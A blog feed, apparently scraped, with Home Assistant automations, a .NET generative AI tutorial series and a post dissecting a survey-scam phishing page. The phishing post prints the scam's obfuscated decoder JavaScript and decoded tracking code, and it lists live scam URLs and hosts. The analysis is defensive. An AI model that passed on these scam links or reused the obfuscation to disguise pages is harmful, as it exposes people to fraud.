You’ll also notice that there’s a input_boolean.override_media_room_occupancy in there. This is used to manually override the occupancy detection, so if you manually turn the lights off then this is set to true and the “lights on when movement detected” won’t trigger until you turn off the TV and leave the room (which seems like a logical “we’re done” condition).

Direction of travel

When you go up our stairs and it’s “dark”, it’s quite logically that you’re next going to want the lights on the landing turned on, so I decided to experiment with creating a “direction of travel” value for our stairs. While I don’t use this anymore since the mmWave sensor was added up there, I thought it might be of interest to others.

To start with, I created a template sensor:

- sensor:
    - name: "Stair direction of travel"
      unique_id: stair_direction_of_travel
      icon: mdi:stairs
      state: >-
        {% if is_state("binary_sensor.stairs_bottom_occupancy", "on") and is_state("binary_sensor.stairs_top_occupancy", "on") -%}
          {% if states.binary_sensor.stairs_bottom_occupancy.last_changed > states.binary_sensor.stairs_top_occupancy.last_changed -%}
            down
          {%- else -%}
            up
          {%- endif -%}
        {%- else -%}
          none
        {%- endif %}

Here we look at the state of the two PIR sensors and when they are both on we determine which one was triggered last and set the state of the sensor to either “up” or “down”. If only one is on, or neither are on, then the state is “none”.

This can be combined with an automation to turn the lights on when you enter the stairs, but only if you’re going up:

- id: "1688545254314"
  alias: "Lighting: going upstairs "
  description: ""
  trigger:
    - platform: state
      entity_id:
        - sensor.stair_direction_of_travel
      to: up
  condition:
    - condition: sun
      after: sunset
    - condition: time
      before: "19:00:00"
    - condition: and
      conditions:
        - condition: state
          entity_id: light.kids_lounge
          state: "off"
        - condition: state
          entity_id: switch.upstairs_hallway
          state: "off"
  action:
    - service: light.turn_on
      data: {}
      target:
        entity_id: light.kids_lounge
  mode: single

Conclusion

I’ve found that having lights come on as you enter a room and then turn off when you leave to be a really nice feature of our smart home. It’s one of those things that you don’t really notice until you don’t have it anymore, and then you realise how much you miss it. I’ve found myself walking into rooms that don’t have this and just standing there waiting for the lights to come on, only to realise that I need to turn them on myself, like a caveman!

Using a combination of PIR and mmWave really is the way to go when it comes to motion and occupancy. I do with my PIR sensors would detect LUX so that I could use them for illuminance as well, but that’s not a huge deal, just means that sometimes the lights are coming on when I don’t need them to.

The EP1 is really my pick of the devices, my only real complaint is that it’s a bit bulky and clearly stands out when mounted, but it’s something you “get used to”.

I do wish I could get ESPresence working reliably, but I’m not sure that it would really improve things that much in our setup.

It’d be really cool to see how this can be applied in the bedrooms to do automatic bedtime routines for the kids/end of day triggering, but I feel like it’d be really hard to get right, and you don’t want lights coming on in the middle of the night in a bedroom!

Generative AI for .NET - Part 5 Streaming

website-contact@aaron-powell.com (Aaron Powell) — Sun, 29 Oct 2023 23:34:22 +0000

When we explored Chat Completions in Part 3 we used the asynchronous API to call our model, but it’s still somewhat a blocking call in that we wait for the model to generate a response before sending to the client. This is how we would traditionally get data back to a client from a data source, since the data source we’re requesting from, like a database, will have all the data we need, it just has to “find it”. But when working with an LLM, it’s a bit different, we’re generating the data (response) on the fly, and depending on the complexity of the model, it can take a while to generate a response - and the longer it takes to generate, the more likely the user is going to assume something has been unsuccessful.

Streaming Response

Enter streaming responses. This is the experience that you’re more likely to be familiar with using tools like ChatGPT, Bing Chat, GitHub Copilot Chat, and so on. It’s where you receive the response back in chunks, as they’re generated, rather than waiting for the entire response to be generated before sending it back to the client.

For a streaming response we will call the GetChatCompletionsStreamingAsync method on our OpenAIClient object, which returns a Response<StreamingChatCompletions>. From here, everything is asynchronous iterations, which we can use the await foreach to step through:

IAsyncEnumerable<StreamingChatChoice> choices = completions.Value.GetChoicesStreaming();

await foreach (StreamingChatChoice choice in choices)
{
    IAsyncEnumerable<ChatMessage> messageStream = choice.GetMessageStreaming();

    await foreach (ChatMessage message in messageStream)
    {
        string content = message.Content;

        Console.Write(content);
    }
    Console.WriteLine();
}

First, we’ll iterate over the IAsyncEnumerable<StreamingChatChoice> which will give us each StreamingChatChoice that has been returned from the model. Remember, this defaults to one, but you can request a higher maximum, although that doesn’t guarantee you’ll get more than one.

As we iterate over the StreamingChatChoice we request a message stream using GetMessageStreaming that returns an IAsyncEnumerable<ChatMessage>. Iterating over this IAsyncEnumerable gives us each message chunk back from the model, which we can extract the content and send to the client. This is only the chunk from the last chunk, so our client will need to treat it as an append operation, not a replacement, which is why I’m using Console.Write here to continue on from the last point in the console.

Let’s see our notebook sample in action:

Here you see the chunks getting written out as they come back from the model. It’s worth noting that the response times are non-deterministic, so it could be that it’s very quick, as is the case in the above demo, or it might take a whole lot longer if the response is a lot more complex to generate.

Conclusion

That’s it, we’ve seen how we can use streaming as an alternative way to get the response back from our model and send it to a client - a simple Console.Write statement in this case. The way you send the stream to the client will depend on what kinds of clients are being supported, but some options to consider are using web sockets (Azure SignalR Service is a good option there) or chunked HTTP responses.

Next time we’ll start delving a bit more into aspects of prompt engineering and how we can use that to get better responses from our models.

Generative AI and .NET - Part 4 Images

website-contact@aaron-powell.com (Aaron Powell) — Fri, 06 Oct 2023 03:58:48 +0000

After text generation the most common thing you’re likely wanting to generate with an LLM is going to be images. We’ve all seen those awesome images generated with Midjourney, Stable Diffusion, DALL-E, and others. In this post we’ll look at how to generate images with .NET and an LLM, specifically the DALL-E models from OpenAI. We’ll use DALL-E 2 because at the time of writing DALL-E 3 isn’t available, but I anticipate that it will work the same from a .NET perspective.

Calling the API

Since the DALL-E models are part of the OpenAI LLM family, we’ll use the same OpenAIClient class that we used in the previous posts in this series, with the only difference being the method that we call, GetImageGenerationsAsync.

string prompt = "A painting of a cat sitting on a chair";

Response<ImageGenerations> response = await client.GetImageGenerationsAsync(new ImageGenerationOptions {
  Prompt = prompt
});

ImageGenerations imageGeneration = response.Value;
Uri imageUri = imageGeneration.Data[0].Uri;

Console.WriteLine($"Image URI: {imageUri}");

Really, it’s just that easy.

Image Generation Options

With the ImageGenerationOptions class we’re able to control some aspects of the image generation process. The options are:

ImageCount: how many images you want back (defaults to 1 but you can get up to 10).
ResponseFormat: do you want a URL to the image or a base64 encoded string of the image (defaults to URL).
Size: how big an image do you want from the options of 256, 512, or 1024 (defaults to 1024).
- Note: Images are always square.
User: a unique identifier for the user who the image is generated for. This isn’t needed and will default to nothing, but OpenAI uses it to monitor for abuse, so if you’re creating an app where anyone can generate an image, it could be useful to include.

What you’ll notice is that you don’t have some of the other controls that we had when doing text generation, around things like Temperature and TopP. This is because these properties are used to influence how the model would generate the next token (word) in the sequence for the completion, but since we aren’t dealing with a text output there’s no need for them.

Conclusion

That’s it! It’s really that easy to generate images with .NET and an LLM.

And yes, the banner image for this post was generated with AI (I might have cheated and used the newly released DALL-E 3 model via Bing Create) using the prompt I need a banner image for a blog post about generating images with AI. Make something creative and abstract.

Oh Look a Phishing Attempt

website-contact@aaron-powell.com (Aaron Powell) — Wed, 20 Sep 2023 04:06:20 +0000

A little over a year ago I wrote about dissecting some phishing attempts and while I still got the odd one here and there, nothing really was slipping through the M365 spam filters.

Until yesterday that is. Over the last 24 hours I’ve gotten around a dozen phishing attempts to one of the sub-addresses on my domain, and given that there was so many I figured I’d take a look at them.

Taking it apart

The first thing I noticed about this one is that it had gotten through my spam filter, and when I opened the email I could see why, the email wasn’t a text-with-image email, it was a HTML email with a single image in it.

Since that is just a large image in the email body, and with no alt-text, there’s nothing for the spam filter to scan for, without it doing OCR. Also, it’s surprisingly lacking in spelling mistakes, which are a really easy way to catch these things. It is worth noting that the image wasn’t displayed initially, I had to tell Outlook to allow the image to be displayed for an untrusted email address.

Where to next

Unlike the last ones which had you download a HTML file and then it was all done locally, this linked me off to an external website. Here’s the address http://allallaossn.lat/cl/5394_d/6/72997/137/35/77720 although you probably shouldn’t click on it, unless you want to go digging yourself. The address bounced through a few other locations, presumably setting some cookies or capturing other bits of info about me, and then it landed me here:

Interestingly enough when I opened it in Chrome I ended up at a different page with a different survey pipeline:

I’m going to stick with dissecting the Edge version, as that’s what I started with. It’s also worth noting that while I expected this to be a standard phishing attempt, it’s actually a survey scam, which is a little different. The goal of this is to get you to complete a survey, and then you get a prize. The prize could be a lot of different things (we’ll see my prizes later on), but the goal of this scam is to get you to subscribe to a paid service that is really hard to get out of.

The page make up

I opened up the source of the page and it turned out that it doesn’t really contain any HTML, just some JavaScript includes. You’ll find a gist of the source if you want to play along.

I expected that it’d work similar to the local file ones I looked at last time, and that turned out to be correct. There’s a huge string of text and some obfuscated functions in the code. This is the most interesting part (formatted for readability):

var _0xc50e = [
  "",
  "split",
  "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/",
  "slice",
  "indexOf",
  "",
  "",
  ".",
  "pow",
  "reduce",
  "reverse",
  "0",
];
function _0xe23c(d, e, f) {
  var g = _0xc50e[2][_0xc50e[1]](_0xc50e[0]);
  var h = g[_0xc50e[3]](0, e);
  var i = g[_0xc50e[3]](0, f);
  var j = d[_0xc50e[1]](_0xc50e[0])
    [_0xc50e[10]]()
    [_0xc50e[9]](function (a, b, c) {
      if (h[_0xc50e[4]](b) !== -1)
        return (a += h[_0xc50e[4]](b) * Math[_0xc50e[8]](e, c));
    }, 0);
  var k = _0xc50e[0];
  while (j > 0) {
    k = i[j % f] + k;
    j = (j - (j % f)) / f;
  }
  return k || _0xc50e[11];
}

What’s it doing?

We’ll notice the array, _0xc50e which starts it off and it’s essentially acting as a utility for the rest of the code, as those are the relevant pieces of info to make up a string.

The function _0xe23c is then invoked several times to decode HTML chunks to then generate the HTML that goes into the page, and this works by looking at parts of _0xc50e and then using that to decode the string that was passed into it. Let’s take it line by line:

`1`	`var g = _0xc50e[2][_0xc50e[1]](_0xc50e[0]);`

Admittedly this isn’t that readable, but lets deobfuscate it. _0xc50e[2] is the string 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/ and then it’s calling split on it, which will split it into an array of characters. So g is now an array of characters.

1
2
3

var g = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/"[
  "split"
]("");

There, that’s readable. Next up:

`1`	`var h = g[_0xc50e[3]](0, e);`

This is a bit more interesting, it’s calling slice on the array, which will return a new array with the elements from the start index to the end index. So h is now an array of characters from the start of 0 to the value of e. When debugging, the first time through e was 6, so we ended up as an array of the first 6 characters of the string, which are the numbers 0 to 5. The next line is similar, just with a different end point in the string.

We then come to this lovely bit of code:

var j = d[_0xc50e[1]](_0xc50e[0])
  [_0xc50e[10]]()
  [_0xc50e[9]](function (a, b, c) {
    if (h[_0xc50e[4]](b) !== -1)
      return (a += h[_0xc50e[4]](b) * Math[_0xc50e[8]](e, c));
  }, 0);

Let’s deobfuscate it and look at what it’s doing now:

var j = d["split"]("")
  ["reverse"]()
  ["reduce"](function (a, b, c) {
    if (h["indexOf"](b) !== -1)
      return (a += h["indexOf"](b) * Math["pow"](e, c));
  }, 0);

So it’s taking the string that was passed in, splitting it into an array of characters, reversing that array and then reducing it. The reduce function is then looking at each character in the array and if it’s in the h array (which is the first 6 characters of the string) then it’s adding the index of that character in the h array multiplied by e to the accumulator. The accumulator is initialised to 0 so the first time through it’ll be 0 + 0 * 6 which is 0. The next time through it’ll be 0 + 1 * 6 which is 6. The next time through it’ll be 6 + 2 * 6 which is 18. And so on.

Finally, we have our loop and return value:

var k = _0xc50e[0];
while (j > 0) {
  k = i[j % f] + k;
  j = (j - (j % f)) / f;
}
return k || _0xc50e[11];

Deobfuscation won’t help much, the magic variables point to '' within the array, creating a starting string. We then loop around while using remainder operator to jump through i and find a number to return. This number is then used by the calling function to look up character in another array which is decoded elsewhere as a character code to then get the string character. Here’s a calling function:

function (h, u, n, t, e, r) {
  r = "";
  for (var i = 0, len = h.length; i < len; i++) {
    var s = "";
    while (h[i] !== n[e]) {
      s += h[i];
      i++;
    }
    for (var j = 0; j < n.length; j++)
      s = s.replace(new RegExp(n[j], "g"), j);
    r += String.fromCharCode(_0xe23c(s, e, 10) - t);
  }
  return decodeURIComponent(escape(r));
}

And it was receiving a huge string like ZQvZvxZZQvZxZQvZZxZZZZZxZZQZvxZQvvQxZZQvQxZZZZQxZvZvxZZZvQxZZZQZxZZ (only with 50k characters in it), and the values 89,"QZvxOrGpf",4,3,35, which is then used to decode the string.

Ultimately, it generated the html you’ll find in generated-html.html of the attached gist. The page actually runs this sort of code 3 more times, but with different keys. Inspecting the other ones showed that they were doing output that was injecting JavaScript into the page using eval (which is how the stuff was executed at the end of the decoding). Here’s the output I found:

// Decode #1
LNG = "1";
CMP = "Aussie";
CNT = "14";
BID = "393074817";
FNP = "c267f14ded62310d74cffcc6dc2d9395";
CMPID = "175";

// Decode #2
API_URL = "https://amplinesrv.com";
const st = 0;
var currentdate = new Date();
var months = [
  "January",
  "February",
  "March",
  "April",
  "May",
  "June",
  "July",
  "August",
  "September",
  "October",
  "November",
  "December",
];
$(".date-full").html(
  months[currentdate.getMonth()] +
    " " +
    currentdate.getDate() +
    ", " +
    currentdate.getFullYear()
);
if ($("#comment-page").length > 0) {
  $(".footer").addClass("fr2");
}

// Decode #3
aff_id = "350115";
click_id = "1057046844";
Brand = "1782";
lpid = "3038";
lpow = "35";
prepop = "email:;phone:;zipcode:".split(";");
emailURL = prepop[0].split(":")[1].replace(/\s+/g, "");
phoneURL = prepop[1].split(":")[1];
zipcodeURL = prepop[2].split(":")[1];
cityURL = "";
stateURL = "";
languageCode = "EN";
countryCode = "AU";
popUrl =
  '{"popunder_mode":[{"id":"1431","id_campaign":"3079","id_popunder":"0","type":"0","refresh_id":"0","device":"0","active":"1","popunder_refresh_id":"0"}],"urls":""}';

// Decode #4
var answered = 0;
var prevProgress = 0;
var stepsTotal = 0;
var progress = 0;
var cheerstx = "";
var txt = "";
function cheers(prog = "100") {
  if (prog == 0) {
    txt = "- Let's begin! Go for that reward";
  }
  if (prog > 0 && prog < 25) {
    txt = "- What a start! Let's go for it";
  }
  if (prog >= 25 && prog < 50) {
    txt = "- What! Almost half way there";
  }
  if (prog == 50) {
    cheerstx = "- You're half way there!";
  }
  if (prog > 50 && prog < 75) {
    txt = "- Superb job! Almost there";
  }
  if (prog >= 75 && prog < 100) {
    txt = "- Great! Almost done";
  }
  if (prog == "100") {
    txt = "- Done!";
  }
  $(".pb-cheers").text(txt);
}

I was a little disappointed that I didn’t have the element matching $('.pb-cheers') anywhere on the page to get congratulated as I progressed through the survey. Poor form phishers, if you’re going to have code to cheer me on, at least use it! (also, it’s weird that 50% doesn’t write to txt but to a different variable that isn’t used anywhere else)

Taking the survey

Naturally, the next thing I had to do was actually take the survey. Clicking each option would result in this function being called:

function nextQuestionU(args) {
  aId = args.aId;
  reg = "reg" in args ? args.reg : false;
  rval = "rval" in args ? args.rval : null;
  multi = "multi" in args ? args.multi : false;
  pos = "pos" in args ? args.pos : false;
  dyn = "dyTyId" in args ? args.dyTyId : false;
  dy_ind = "dyIndId" in args ? args.dyIndId : false;
  dy_prod = "dyProdId" in args ? args.dyProdId : false;
  let moref = "&pos=" + pos;
  if (reg) {
    var multiData = "";
    if (multi) {
      multiData = "&multi=true";
    }
    moref += "&reg=true&regVal=" + rval + multiData;
  }
  if (dyn) {
    moref += "&dyId=" + dyn + "&dy_ind=" + dy_ind + "&dy_prod=" + dy_prod;
  }
  $(".answerOption").removeAttr("onclick");
  $.ajax({
    type: "POST",
    // url: "",
    // data: "_type=ajax&_action=master-saveAnswer&sid="+sId+'&qid='+qId+'&aid='+aId+'&step='+numStep+moref,
    url: API_URL + "/survey/saveAnswer",
    data:
      "bid=" +
      BID +
      "&fnp=" +
      FNP +
      "&sid=" +
      sId +
      "&lid=" +
      LNG +
      "&cmp=" +
      encodeURIComponent(CMP) +
      "&cnt=" +
      CNT +
      "&qid=" +
      qId +
      "&aid=" +
      aId +
      "&step=" +
      numStep +
      moref,
    dataType: "json",
    success: function (d) {
      let data = d;
      // let data = d.data;
      let prevProgress = $(".pb-percent").text();
      let answered = data.step - 1;
      if (answered == 1) {
        mfq_tags("first-question");
      }
      let stepsTotal = data.totalSteps;
      let progress = (answered / stepsTotal) * 100;
      $(".sprogress").css("width", progress + "%");
      $({ someValue: prevProgress }).animate(
        { someValue: progress },
        {
          duration: 1000,
          easing: "swing",
          step: function () {
            $(".pb-percent").text(Math.round(this.someValue));
          },
        }
      );
      if (data.id) {
        numStep = data.step;
        $("#questionBody, #questionText, #questionFooter").html("");
        /* $("#container-survey").css({backgroundImage: 'none'}); */
        $(".sprogressbar").slideDown();
        $("#questionText").removeClass("email-title");
        $("#questionFooter").removeClass("email-sub");
        $("#questionText").append(data.question);
        $("#questionFooter").html(data.text_footer);
        switchTypeQuestionsU(data);
      } else {
        mfq_tags("last-question");
        showOfferWallU();
      }
      cheers(progress);
    },
  });
}

The args being passed in is a reference to which answer you’ve selected, which came back from the server in the AJAX call (and shout-out to jQuery for still being around, this reminds me of years gone by 😜). The request doesn’t contain anything much of interest:

bid: 393074817
fnp: c267f14ded62310d74cffcc6dc2d9395
sid: 39
lid: 1
cmp: Aussie
cnt: 14
qid: 26
aid: 649
step: 1
pos: false

What I can gather is that the fnp is the unique tracking ID for me and cmp is the “campaign” they are pretending to be (Aussie is my broadband provider). The value of bid seems static across sessions too, so I’d assume it’s just another part of their tracking.

And here’s a sample response back:

{
  "id": "6",
  "sort": "2",
  "question": "What is your age range?",
  "questions_type_id": "1",
  "text_disclaimer": null,
  "text_footer": null,
  "is_conditional": "0",
  "conditional_rules": null,
  "answers": [
    {
      "id": "51",
      "actId": null,
      "regId": null,
      "cusId": null,
      "sort": "1",
      "posId": null,
      "dynamic": "0",
      "dynamic_type_id": null,
      "dynamic_industry_id": null,
      "dynamic_product_category_id": null,
      "aid": "35",
      "cusName": null,
      "text": "18-29"
    },
    {
      "id": "52",
      "actId": null,
      "regId": null,
      "cusId": null,
      "sort": "2",
      "posId": null,
      "dynamic": "0",
      "dynamic_type_id": null,
      "dynamic_industry_id": null,
      "dynamic_product_category_id": null,
      "aid": "72",
      "cusName": null,
      "text": "30-39"
    },
    {
      "id": "53",
      "actId": null,
      "regId": null,
      "cusId": null,
      "sort": "3",
      "posId": null,
      "dynamic": "0",
      "dynamic_type_id": null,
      "dynamic_industry_id": null,
      "dynamic_product_category_id": null,
      "aid": "74",
      "cusName": null,
      "text": "40-49"
    },
    {
      "id": "54",
      "actId": null,
      "regId": null,
      "cusId": null,
      "sort": "4",
      "posId": null,
      "dynamic": "0",
      "dynamic_type_id": null,
      "dynamic_industry_id": null,
      "dynamic_product_category_id": null,
      "aid": "40",
      "cusName": null,
      "text": "50-64"
    },
    {
      "id": "55",
      "actId": null,
      "regId": null,
      "cusId": null,
      "sort": "5",
      "posId": null,
      "dynamic": "0",
      "dynamic_type_id": null,
      "dynamic_industry_id": null,
      "dynamic_product_category_id": null,
      "aid": "41",
      "cusName": null,
      "text": "65+"
    }
  ],
  "totalSteps": 8,
  "step": 2,
  "jkey": null,
  "trf": "0"
}

I’ve got to admit, there’s quite a lot of data in the response, sure, it’s mostly null, but that’s a large property set and none of the responses ever populated them. I guess there’s a variety of flows that could use this backend and they just return the same data structure for all of them, adjusting the data in the response as needed.

The questions that you go through are pretty standard, it’s the illusion of profiling you through age, shopping habits, gender (which in this one only had Male and Female, but the one Chrome got had Male, Female and Other - yay for inclusion?), etc. but interestingly enough there was no real data capture like name, email, the stuff you’d expect they are really after.

Once the survey was completed I was told my details were being checked:

Shockingly, the progress bar and “checks” aren’t doing anything:

setTimeout(function () {
  $(".check1")
    .removeClass("fa-spinner fa-spin")
    .addClass("fa-check-circle")
    .show();
  $(".load_text1.loadtxstrip").css({ color: "#e4e3e3" });
  $("#percent_s").html("30%");
  $(".pb_process").css({ width: "30%" });
  $(".load_text2").fadeIn(1000);
}, 3000);
setTimeout(function () {
  $(".check2")
    .removeClass("fa-spinner fa-spin")
    .addClass("fa-check-circle")
    .show();
  $(".load_text2.loadtxstrip").css({ color: "#e4e3e3" });
  $("#percent_s").html("60%");
  $(".pb_process").css({ width: "60%" });
  $(".load_text3").fadeIn(1000);
}, 5000);
setTimeout(function () {
  $(".check3")
    .removeClass("fa-spinner fa-spin")
    .addClass("fa-check-circle")
    .show();
  $(".load_text3.loadtxstrip").css({ color: "#e4e3e3" });
  $("#percent_s").html("100%");
  $(".pb_process").css({ width: "100%" });
}, 7500);
setTimeout(function () {
  $(".validate_s").slideUp();
  $(".ms_init").fadeOut(function () {
    $("#thankyou-container").fadeIn();
  });
  $(".reward-page").slideDown(500);
}, 7750);

I really admire the staggered setTimeout calls, because if something caused one of them to error or run longer, you could end up with things out of order! 🤣

It is making another server call at the same time, which gets the HTML for the prizes, but it also doesn’t wait for the checks to finish before rendering the HTML, so depending on the network connection you can see the prizes before the checks are done, or the checks can be done and dismissed well before the prizes are rendered.

Anyway, here’s what I “won”:

Clicking these links sent me off to another site, https://gifturcards.net/l/hI65ff1SfppIxFiro7kF?_luuid=988bf154-bb2b-4606-b300-14c6a07c53ae for example (again, remember that this is a scam site) where they are finally doing some data capture!

I didn’t dig too much into the prize site as it’s pretty clear how the scam is going to go from here, and looking at the code it’s not doing anything that isn’t overly obvious, there’s a form, it captures your info and moves yo along to get more info until you hand over a credit card and you’re subscribed to something that you probably won’t get out of with ease.

Wrapping up

I find it fascinating the level of complexity in the obfuscation that is used to create a page like this, the fact that there was multiple cyphers in the page and the decoding of the code to result in the HTML or JS that was injected was really quite complex.

Anyway, that was a fun way to spend a few hours!

Generative AI and .NET - Part 3 Chat Completions

website-contact@aaron-powell.com (Aaron Powell) — Thu, 07 Sep 2023 06:30:42 +0000

If you followed the code sample in the last post you’ll have a console application that can generate chat completions, but what I didn’t do was explain what chat completions are or why we’d use them; that’s the purpose of this post.

What is a Chat Completion

A chat completion is a way of generating text based on a prompt. The prompt is a piece of text that you provide, and the completion is the text that is generated by the model. The model is a machine learning model that has been trained on a large corpus of text, and the prompt is used to seed the model to generate the completion.

We saw this in action with the first blog post and that if I was to give a prompt of “The quick brown fox” then the completion would be “jumps over the lazy dog”. But this is only part of what we’re looking at here, that is a completion but with OpenAI we use chat completions.

A chat completion is a completion that is generated based on a conversation, and is intended to come across as a natural response to the conversation. And here is how we’re starting to break away from our LLM being a glorified auto-complete for your phone keyboard and into something that is more like carrying on a conversation.

Now this isn’t truly a conversation, the model doesn’t understand what you’re saying, it’s just generating text based on the prompt and the model, but it’s been trained in a manner that makes it appear to be conversational.

Creating a Chat Completion

We saw this in the last sample, that we execute a chat completion using the GetChatCompletionsAsync method, passing in the model (or deployment in Azure OpenAI Service’s case) and an instance of ChatCompletionOptions.

The ChatCompletionOptions class is used to provide configuration parameters to our all to the service, matching the parameters in the REST API.

Initially, we’ll leave the parameters as their default value and focus on the one thing you must provide, the prompt, which we can either provide in the constructor or by adding it to the Messages property of the object:

1
2
3

string prompt = "Describe the most recent Star Wars film.";

ChatCompletionsOptions options = new(new[] { new ChatMessage(ChatRole.User, prompt) });

You’ll notice here that we’re providing the prompt variable to a ChatMessage object in which we set a ChatRole.User as the role for this message. We’ll cover prompt engineering in depth at a later date, but the quick view of it is that we use the role to help our model understand context around what the prompt is, because while the prompt can be just a single sentence, to make it really conversational we’re going to likely want to provide more context around that. Since the prompt is from user input, we indicate that with the ChatRole.User, making the model know that this is something to response to. We could add a response from the model by adding a ChatRole.Agent message to the Messages property. There’s also System and Function, but we’ll cover them when we look at prompt engineering.

If we were to execute this prompt:

Response<ChatCompletions> completions = await client.GetChatCompletionsAsync(model, options);

foreach (ChatChoice choice in completions.Value.Choices)
{
    string content = choice.Message.Content;

    Console.WriteLine(content);
}

We’d get a response like this:

As an AI language model, I cannot have personal feelings, opinions, or experiences. But, I can provide an objective description of the movie “Star Wars: The Rise of Skywalker.”

“Star Wars: The Rise of Skywalker” is a 2019 epic space opera film directed by J. J. Abrams and serves as a concluding chapter in the Skywalker Saga. The movie follows the story of Rey, Finn, Poe, and their allies as they embark on a mission to find Exogol, the hidden planet where the evil Palpatine has been resurrected and is preparing to launch a final attack against the Resistance.

Throughout the movie, the characters undergo various challenges and confrontations against Palpatine’s forces. They also uncover deep secrets about their families and their connections to the Force.

The musical score, visual effects, and action sequences depicted in the film received praise from critics and audiences. However, some fans and critics criticized the movie’s pacing, storylines, and inconsistency with previous installments in the franchise. Despite this, “Star Wars: The Rise of Skywalker” was a box-office success, grossing over $1 billion worldwide.

Note: Your result would likely be different as the output won’t be word-for-word consistent, it’ll only be consistent in the general theme - this is generative after all.

Tweaking our Chat Completion

When we are working with our model we might want to tweak how it behaves and we can do that by providing additional parameters to the ChatCompletionOptions object. Since it will be “making up” an answer we run the risk of a hallucination in which the model gives as a result that is completely fabricated with no basis in reality.

To adjust this, we can play with the Temperature property. By default, this is set to 1.0 and must be between 0 and 2. Let’s execute our chat completion with a temperature of 0.5 (you can use the Polyglot Notebook in my repo):

ChatCompletionsOptions options = new(new[] { new ChatMessage(ChatRole.User, prompt) })
{
    Temperature = 0.5f
};

Running it again yields a result such as this:

As an AI language model, I do not have personal experience or emotions, but I can provide an objective description of the most recent Star Wars movie.

The most recent Star Wars movie is “Star Wars: The Rise of Skywalker,” which was released in December 2019. The movie is directed by J.J. Abrams and follows the story of Rey, Finn, and Poe as they try to defeat the evil First Order and its leader, Kylo Ren.

The movie begins with the discovery of a mysterious transmission from the late Emperor Palpatine, who has somehow returned from the dead and is threatening to destroy the galaxy. Rey, Finn, and Poe embark on a dangerous mission to find and destroy the Emperor once and for all.

Throughout the movie, the characters face many challenges and obstacles, including battles with the First Order, encounters with new and old allies, and personal struggles with their own identities and pasts.

In the end, the movie culminates in a final battle between the Resistance and the First Order, with Rey and Kylo Ren facing off against the Emperor in a dramatic and emotional showdown. The movie ends with a sense of closure and resolution, as the characters come to terms with their pasts and look towards a new future.

It’s a little more clinical than the original, arguably less creative, but it’s also less likely to be completely made up (although we are using a fairly well documented movie, so there is a lot of grounding data that the model would have been trained on).

Let’s go the other way and turn the creativity all the way up to 2:

ChatCompletionsOptions options = new(new[] { new ChatMessage(ChatRole.User, prompt) })
{
    Temperature = 2.0f
};

Now let’s see a result:

As an AI language model, I cannot Recent mostly Subject to Human’s Reaction.

The Star Wars series witnessed the december “without grandeur”: chaotic reviews reminded observers advance weaknesses; quarantine-amperf_likelyturned expectation ainvolk_monolith front-cricket media_machine difference years directly sharpen memorable grandfilm inspired director galaxies making Rey fighter_clinks awakened baby_yorzutan cliff_news sources attempts, ensure timing humorous monsters-story full_score writers fuelde motion_center_technybots intense-_energy universe tale unmistakize background hope defntt_difference audience vast_difference symbolism incredible_Tolkien esacaranthros tozkheeri. Being recours_referred_epoe experts found simply entire points unmatched movie fascinating_author had awink_pepping movie approach towards fall dramatically restared ‘9_genre continues did excellent years!".

Well, that’s pretty terrible! I ran the same prompt a few times and each time I got an equally terrible result. But this is to be expected. We “told” the model to go completely wild and it did, and it’s not going to be able to generate something that is coherent when that’s done because all it is trying to do is combine letters together to make something that looks like a word. After all, if we look at the output there are words in there and some of those words are relevant to Star Wars, galaxies, Rey, fighter, hope, and so on, but they aren’t words forming sentences.

Realistically, you would likely want a Temperature of just below 1 as this gives you a good balance between creativity and coherence, but it’s the sort of thing you need to experiment with in your own applications.

There are also other parameters that you can tweak, such as TopP and FrequencyPenalty, that you can use to adjust the output of your model. I’ll leave it to you to experiment with those.

Playing with TopP

While Temperature is one way to control the output, the other useful one is top_p, or as it’s exposed in the .NET SDK, NucleusSamplingFactor (which is what it refers to in AI terminology). While Temperature controls the randomness of the output generated, NucleusSamplingFactor controls the diversity of the output by controlling the number of tokens that are considered when generating the output, the higher the value the more tokens are considered.

Using a low value for NucleusSamplingFactor, say 0.1f, the result from the model will only consider words in the top 10% of confidence that that would be the next word to come in the completion, meaning that the completion should seem “more correct”, but it will also be less creative and less diverse in the set of words used. Swinging to the other end of the spectrum and using 1f (it must be a value between 0 and 1) will mean that all words are considered, so the completion will be more creative, but it will also run the risk of being less coherent.

It’s important that when you’re tweaking these values that you chose whether you want to control the Temperature or the Nucleus Sampling Factor, as you only want to adjust one of them, not both, as they are both controlling the same thing, just in different ways.

Resulting Object

The GetChatCompletionsAsync returns a Response<ChatCompletions> in which the Response<T> is a wrapper type from Azure with some info about the response, such as the HTTP status, what we’re really interested in is the ChatCompletions object. From here we can look at info from the service, such as the Id of the completion, the usage information of the available tokens, and most importantly the Choices property.

Choices are the responses from the model and contains the Message (we’ll come back to that), FinishReason (why the model stopped generating text), and Index (the index of the choice in the list of choices), and ContentFilterResults (was there any flagging for hate, sexual context, etc.).

The Message property is an instance of ChatMessage and contains the Content which is the generated text that you are going to display to the user, as well as information about the function, but OpenAI functions are a topic for a later date.

So far we’ve only seen a single choice come back, which is because that’s the default on ChatCompletionOptions, but you can change this with the ChoiceCount property, although that doesn’t guarantee that you’ll get that many choices back, it’s just the maximum number of choices you’ll get back.

Conclusion

To core of a text-based application with Generative AI is around chat completions. We’ve seen that with a call to GetChatCompletionsAsync we can generate a response to a prompt, and that we can tweak the parameters to get different results.

We saw that by tweaking the Temperature and NucleusSamplingFactor we can control the creativity and coherence of the response. If we go too far in either extreme the output really stops being useful - especially an “overly creative” temperature setting. We also saw that we can use the ChoiceCount to control the maximum amount of responses that we want to get back.

There are other properties on the ChatCompletionOptions that we can adjust to control the output, and as we dive deeper into more advanced aspects of working with Generative AI we’ll look at those.

If you want to play with this sample, check out the Polyglot Notebook in my repo.

Generative AI and .NET - Part 2 SDK

website-contact@aaron-powell.com (Aaron Powell) — Mon, 04 Sep 2023 23:55:34 +0000

It’s time to have a look at how we can build the basics of an application using Azure OpenAI Services and the .NET SDK. Remember, while I will be using AOAI in here everything is going to be applicable to OpenAI itself as well, so if you’re using that you can still follow along (I just happen to use AOAI as then I can test it for the product team).

Getting Started

Before we install the SDK it’s important to know how we work with these services, and that is via the REST API that they publish. Azure OpenAI Service has docs on their REST API but I find them a little unfriendly to read (at least, at the time of writing this blog post) compared to the REST API docs from OpenAI directly.

